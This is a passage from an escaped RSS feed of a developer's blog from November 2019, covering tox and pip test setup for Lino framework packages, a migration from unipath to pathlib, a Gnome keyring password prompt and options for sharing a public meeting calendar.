class="n"&gt;ciao&lt;/span&gt;&lt;span class="o"&gt;/.&lt;/span&gt;&lt;span class="n"&gt;tox&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;py37&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;include&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;site&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;python3&lt;/span&gt;&lt;span class="mf"&gt;.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt; &lt;span class="n"&gt;Check&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;logs&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;full&lt;/span&gt; &lt;span class="n"&gt;command&lt;/span&gt; &lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="n"&gt;WARNING&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;You&lt;/span&gt; &lt;span class="n"&gt;are&lt;/span&gt; &lt;span class="n"&gt;using&lt;/span&gt; &lt;span class="n"&gt;pip&lt;/span&gt; &lt;span class="n"&gt;version&lt;/span&gt; &lt;span class="mf"&gt;19.2.3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;however&lt;/span&gt; &lt;span class="n"&gt;version&lt;/span&gt; &lt;span class="mf"&gt;19.3.1&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="n"&gt;available&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="n"&gt;You&lt;/span&gt; &lt;span class="n"&gt;should&lt;/span&gt; &lt;span class="n"&gt;consider&lt;/span&gt; &lt;span class="n"&gt;upgrading&lt;/span&gt; &lt;span class="n"&gt;via&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;pip install --upgrade pip&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;command&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;

&lt;span class="o"&gt;==================================================================================&lt;/span&gt; &lt;span class="n"&gt;log&lt;/span&gt; &lt;span class="n"&gt;end&lt;/span&gt; &lt;span class="o"&gt;===================================================================================&lt;/span&gt;
&lt;span class="n"&gt;__________________________________________________________________________________&lt;/span&gt; &lt;span class="n"&gt;summary&lt;/span&gt; &lt;span class="n"&gt;___________________________________________________________________________________&lt;/span&gt;
&lt;span class="n"&gt;ERROR&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="n"&gt;py37&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;InvocationError&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;command&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;home&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;work&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;ciao&lt;/span&gt;&lt;span class="o"&gt;/.&lt;/span&gt;&lt;span class="n"&gt;tox&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;py37&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nb"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;python&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt; &lt;span class="n"&gt;pip&lt;/span&gt; &lt;span class="n"&gt;install&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;exists&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;action&lt;/span&gt; &lt;span class="n"&gt;w&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tox&lt;/span&gt;&lt;span class="o"&gt;/.&lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;package&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;ciao&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;19.11.0&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;zip&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;exited&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;code&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I think I fixed this by saying:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo apt install python-dev
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
&lt;section id="modulenotfounderror-no-module-named-vobject"&gt;
&lt;h2&gt;ModuleNotFoundError: No module named ‘vobject’&lt;a class="headerlink" href="#modulenotfounderror-no-module-named-vobject" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I added a &lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/plugin.html#lino.core.plugin.Plugin.get_requirements" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;get_requirements&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;
method to &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.contacts.html#module-lino_xl.lib.contacts" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.contacts&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; and added &lt;a class="reference external" href="https://atelier.lino-framework.org/invlib.html#command-inv-install" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;inv&lt;/span&gt; &lt;span class="pre"&gt;install&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; to the
&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;tox.ini&lt;/span&gt;&lt;/code&gt; file.&lt;/p&gt;
&lt;p&gt;But I don’t want to make a PyPI release of xl just for seeing whether the ciao
tests now pass. How can I tell tox that it should use my local version of
&lt;a class="reference external" href="https://dev.lino-framework.org/api/index.html#module-lino_xl" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; when creating its test environment?&lt;/p&gt;
&lt;p&gt;Answer: specify it with &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;-e&lt;/span&gt;&lt;/code&gt; in the &lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;tox.ini&lt;/span&gt;&lt;/code&gt; file:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;deps&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
  &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;toxinidir&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="o"&gt;/../&lt;/span&gt;&lt;span class="n"&gt;xl&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Works on my machine, but unfortunately this will fail on &lt;a class="reference external" href="https://dev.lino-framework.org/dev/testing.html#travis" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Travis CI&lt;/span&gt;&lt;/a&gt;.  So
there we must the latest version on GitHub:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;deps&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
  &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt; &lt;span class="n"&gt;git&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;https&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;github&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;framework&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;xl&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;git&lt;/span&gt;&lt;span class="c1"&gt;#egg=lino_xl&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
&lt;section id="convert-from-unipath-to-pathlib"&gt;
&lt;h2&gt;Convert from unipath to pathlib&lt;a class="headerlink" href="#convert-from-unipath-to-pathlib" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;We should start converting all usages of unipath to using pathlib.&lt;/p&gt;
&lt;p&gt;unipath Path objects have a method &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;child()&lt;/span&gt;&lt;/code&gt;, but with pathlib you can
simply use the divide operator:&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;unipath&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Path&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;/&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;child&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;var&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;child&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;log&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;/var/log&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;pathlib&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Path&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;/&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;var&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;log&amp;quot;&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;/var/log&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
&lt;section id="operationalerror-no-such-table-django-content-type"&gt;
&lt;h2&gt;OperationalError: no such table: django_content_type&lt;a class="headerlink" href="#operationalerror-no-such-table-django-content-type" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The amici test suite is currently &lt;a class="reference external" href="https://travis-ci.org/lino-framework/amici/jobs/613977307"&gt;failing on Travis&lt;/a&gt;, saying
“OperationalError: no such table: django_content_type”. And I cannot reproduce
this locally. Strange…&lt;/p&gt;
&lt;/section&gt;
&lt;section id="reviewing-the-getlino-test-suite"&gt;
&lt;h2&gt;Reviewing the getlino test suite&lt;a class="headerlink" href="#reviewing-the-getlino-test-suite" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;It took some time to understand these:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;when  &lt;cite&gt;skipsdist&lt;/cite&gt; is true, tox
installs only the package being tested but not its
&lt;span class="target" id="index-0"&gt;&lt;/span&gt;&lt;code class="xref std std-envvar docutils literal notranslate"&gt;&lt;span class="pre"&gt;install_requires&lt;/span&gt;&lt;/code&gt;.
But &lt;cite&gt;usedevelop&lt;/cite&gt; is like &lt;cite&gt;skipsdist&lt;/cite&gt; but with &lt;cite&gt;python setup.py develop&lt;/cite&gt;.
(&lt;a class="reference external" href="https://tox.readthedocs.io/en/latest/example/general.html"&gt;source&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The &lt;span class="target" id="index-1"&gt;&lt;/span&gt;&lt;code class="xref std std-envvar docutils literal notranslate"&gt;&lt;span class="pre"&gt;tests_require&lt;/span&gt;&lt;/code&gt; and &lt;span class="target" id="index-2"&gt;&lt;/span&gt;&lt;code class="xref std std-envvar docutils literal notranslate"&gt;&lt;span class="pre"&gt;test_suite&lt;/span&gt;&lt;/code&gt; arguments in &lt;span class="target" id="index-3"&gt;&lt;/span&gt;&lt;a class="reference external" href="https://atelier.lino-framework.org/usage.html#envvar-SETUP_INFO" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-envvar docutils literal notranslate"&gt;&lt;span class="pre"&gt;SETUP_INFO&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; is ignored by tox.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Note also:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;getlino itself does not require atelier. atelier is required only for testing and for building the docs.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;I removed ‘setuptools’ from the getlino &lt;span class="target" id="index-4"&gt;&lt;/span&gt;&lt;code class="xref std std-envvar docutils literal notranslate"&gt;&lt;span class="pre"&gt;install_requires&lt;/span&gt;&lt;/code&gt; because I
don’t see why it is needed. (not sure about that one)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The &lt;a class="reference external" href="https://github.com/tox-dev/tox/issues/176"&gt;tox doesn’t install the package being tested #176&lt;/a&gt; discussion did &lt;em&gt;not&lt;/em&gt; help. Also
I tried adding an empty &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;conftest.py&lt;/span&gt;&lt;/code&gt; file as described &lt;a class="reference external" href="https://stackoverflow.com/questions/49028611/pytest-cannot-find-module"&gt;here&lt;/a&gt;,
but that wasn’t the reason.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;After committing I saw that –of course– we also need to adapt
&lt;a class="reference external" href="https://dev.lino-framework.org/dev/ci.html#xfile-.travis.yml" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;.travis.yml&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;. It was now failing on travis because &lt;a class="reference external" href="https://atelier.lino-framework.org/invlib.html#command-inv-cov" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;inv&lt;/span&gt; &lt;span class="pre"&gt;cov&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;
requires atelier. I committed some changes but didn’t wait the result.  I leave
that to for you, Hamza!&lt;/p&gt;
&lt;p&gt;The test suite itself then has failures… I saw “Permission denied”. Didn’t yet
dive into these.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/1119.html</guid><pubDate>Tue, 19 Nov 2019 00:00:00 +0000</pubDate></item><item><title>Monday, November 18, 2019</title><link>https://luc.lino-framework.org/blog/2019/1118.html</link><description>&lt;section id="monday-november-18-2019"&gt;
&lt;h1&gt;Monday, November 18, 2019&lt;a class="headerlink" href="#monday-november-18-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="password-to-unlock-your-keyring"&gt;
&lt;h2&gt;Password to unlock your keyring&lt;a class="headerlink" href="#password-to-unlock-your-keyring" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Why does Ubuntu keep asking for a “password to unlock your keyring” one some
computers and how to fix the problem.  My mother has had this on her computer
for years, but she’s too old to be of any help with starting a remote session,
and when I am in Eupen I am too busy to sit down and do a research.&lt;/p&gt;
&lt;p&gt;But now I saw the same problem for Iiris on Rose.&lt;/p&gt;
&lt;p&gt;The Gnome keyring is an otherwise useful program to store passwords in a
centralized place so that that you don’t need to type them once you are logged
in. The program usually just silently watches whether it can help.  When you
authenticate somewhere, it asks you whether you want that authentication to
automatically happen when you are logged it. Firefox unfortunately does not use
this system, so you cannot disable Firefox asking you for your master password.&lt;/p&gt;
&lt;p&gt;But it can happen that you changed your Linux login password and the keyring
password was not updated.  And then, as soon as some application wants to use
the keyring, it will ask you to enter that famous “password to unlock your
keyring”.&lt;/p&gt;
&lt;p&gt;The easiest way to fix this is to simply reset everything (i.e. delete all
stored passwords and start a new keyring):&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;$ cd ~/.local/share/keyrings
$ mv login.keyring login.keyring.backup&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;Thanks to the following sources:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://wiki.gnome.org/Projects/GnomeKeyring"&gt;https://wiki.gnome.org/Projects/GnomeKeyring&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://askubuntu.com/questions/65281/how-to-recover-reset-forgotten-gnome-keyring-password"&gt;https://askubuntu.com/questions/65281/how-to-recover-reset-forgotten-gnome-keyring-password&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://www.reddit.com/r/elementaryos/comments/6sr1f7/what_is_this_gnomekeyring_that_keeps_asking_for_a/"&gt;https://www.reddit.com/r/elementaryos/comments/6sr1f7/what_is_this_gnomekeyring_that_keeps_asking_for_a/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Edit 20191125: no, that wasn’t the solution. The problem is still there. Needs
more research.&lt;/p&gt;
&lt;p&gt;The user_type of an ar.get_user() should never be empty&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/1118.html</guid><pubDate>Mon, 18 Nov 2019 00:00:00 +0000</pubDate></item><item><title>Saturday, November 16, 2019</title><link>https://luc.lino-framework.org/blog/2019/1116.html</link><description>&lt;section id="saturday-november-16-2019"&gt;
&lt;h1&gt;Saturday, November 16, 2019&lt;a class="headerlink" href="#saturday-november-16-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="organizing-regular-meetings"&gt;
&lt;h2&gt;Organizing regular meetings&lt;a class="headerlink" href="#organizing-regular-meetings" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I posted the following question on &lt;a class="reference external" href="https://www.reddit.com/r/opensource/comments/dx4c6o/organizing_regular_meetings/"&gt;reddit&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;We are a small team that organizes regular public meetings in different places
of our town. The meetings repeat weekly or monthly, with possible exceptions.
We’d like to publish an online calendar where people can easily know where and
when the upcoming meetings are.
The responsibility for keeping the calendar up to date relies on several persons.
We don’t have any office room.
Which solution would you recommend?
We are ready to pay a reasonable monthly amount.
But no proprietary software please.&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;I tried on Facebook but that was just a waste of time. Managing recurrent events
in collaboration with others is a horror there.&lt;/p&gt;
&lt;p&gt;I had the idea of trying on Google as well.  I went to my Google calendar,
Settings, Create a new calendar, and &lt;em&gt;voilà&lt;/em&gt;! Done after 10 minutes!&lt;/p&gt;
&lt;p&gt;I can make the result of my work public using a  &lt;a class="reference external" href="https://calendar.google.com/calendar?cid=bWdzMWhxYTMwZzZxbTljdXAzcDJnNGgwOWNAZ3JvdXAuY2FsZW5kYXIuZ29vZ2xlLmNvbQ"&gt;shareable link&lt;/a&gt;,
or I can add it as a frame to any website.&lt;/p&gt;
&lt;iframe src="https://calendar.google.com/calendar/embed?src=mgs1hqa30g6qm9cup3p2g4h09c%40group.calendar.google.com&amp;ctz=Europe%2FTallinn" style="border: 0" width="800" height="600" frameborder="0" scrolling="no"&gt;&lt;/iframe&gt;&lt;p&gt;This is probably the easiest and most practical solution for us.  The data is
our own and we can theoretically export it and store it for our archives. I must
admit once more that Google is frighteningly good.&lt;/p&gt;
&lt;p&gt;An alternative would be meetup.com which would cost 59,94 USD every 6 months,
but has the advantage that it might help people to find us. OTOH Neither Google
nor Meetup use Free Software.&lt;/p&gt;
&lt;p&gt;Using either of them has some disadvantages: other team members need an account,
our work would get disturbed if Google or Meetup would decide to stop their
service.  Also we give them permission to use our data (no real issue for us
because anyway our goal is to share it with everybody). The fundamental problem
remains that they use proprietary software. I will invest time for learning how
to use their service and entering data into their database, which basically
means that I help them to become better.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/1116.html</guid><pubDate>Sat, 16 Nov 2019 00:00:00 +0000</pubDate></item><item><title>Friday, November 15, 2019</title><link>https://luc.lino-framework.org/blog/2019/1115.html</link><description>&lt;section id="friday-november-15-2019"&gt;
&lt;h1&gt;Friday, November 15, 2019&lt;a class="headerlink" href="#friday-november-15-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Working with Hamza on &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3340"&gt;#3340&lt;/a&gt; (Atelier : testing should use tox instead
of setup.py test).  we started with the atelier package.&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ go atelier
$ pip install tox
$ tox-quickstart
...
What Python versions do you want to test against?
            [1] py37
            [2] py27, py37
            [3] (All versions) py27, py35, py36, py37, pypy, jython
            [4] Choose each one-by-one
&amp;gt; Enter the number of your choice [3]: 1
&amp;gt; Type the command to run your tests [pytest]:
What extra dependencies do your tests have?
default dependencies are: [&amp;#39;pytest&amp;#39;]
&amp;gt; Comma-separated list of dependencies:
Finished: ./tox.ini has been created. For information on this file, see https://tox.readthedocs.io/en/latest/config.html
Execute `tox` to test your project.
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;So tox-quickstart suggests pytest as the default testing command. Okay, why not.&lt;/p&gt;
&lt;p&gt;To avoid &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;WARNING:&lt;/span&gt; &lt;span class="pre"&gt;Discarding&lt;/span&gt; &lt;span class="pre"&gt;$PYTHONPATH&lt;/span&gt; &lt;span class="pre"&gt;from&lt;/span&gt; &lt;span class="pre"&gt;environment,&lt;/span&gt; &lt;span class="pre"&gt;to&lt;/span&gt; &lt;span class="pre"&gt;override&lt;/span&gt;
&lt;span class="pre"&gt;specify&lt;/span&gt; &lt;span class="pre"&gt;PYTHONPATH&lt;/span&gt; &lt;span class="pre"&gt;in&lt;/span&gt; &lt;span class="pre"&gt;'passenv'&lt;/span&gt; &lt;span class="pre"&gt;in&lt;/span&gt; &lt;span class="pre"&gt;your&lt;/span&gt; &lt;span class="pre"&gt;configuration.&lt;/span&gt;&lt;/code&gt; I added the following to
the &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;[testenv]&lt;/span&gt;&lt;/code&gt; section:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;setenv&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
  &lt;span class="n"&gt;PYTHONPATH&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;toxinidir&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;What should we say for envlist? py36? py37? or both? One should be enough.
The tox default is 3.7 but that didn’t work for me because I had Python 3.6 on Ubuntu 18.04.3 LTS (Bionic Beaver).
Which Python version is on Debian Buster? –&amp;gt; 3.7
So this is the Python we use on a normal production site, this should be our default version.&lt;/p&gt;
&lt;p&gt;So I must just manually run:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;sudo&lt;/span&gt; &lt;span class="n"&gt;apt&lt;/span&gt; &lt;span class="n"&gt;install&lt;/span&gt; &lt;span class="n"&gt;python3&lt;/span&gt;&lt;span class="mf"&gt;.7&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I also added a &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;testpaths&lt;/span&gt;&lt;/code&gt; because I know that we have all tests in that
subdirectory:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;pytest&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;testpaths&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;tests&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The default pytest behaviour is to discover files named &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;test*.py&lt;/span&gt;&lt;/code&gt;. So
I had to rename &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;__init__.py&lt;/span&gt;&lt;/code&gt; to &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;test_everything.py&lt;/span&gt;&lt;/code&gt;.  The tests
directory no longer needs to be a package.&lt;/p&gt;
&lt;p&gt;Now it works when I run:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ tox
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Except that it gives a warning:&lt;/p&gt;
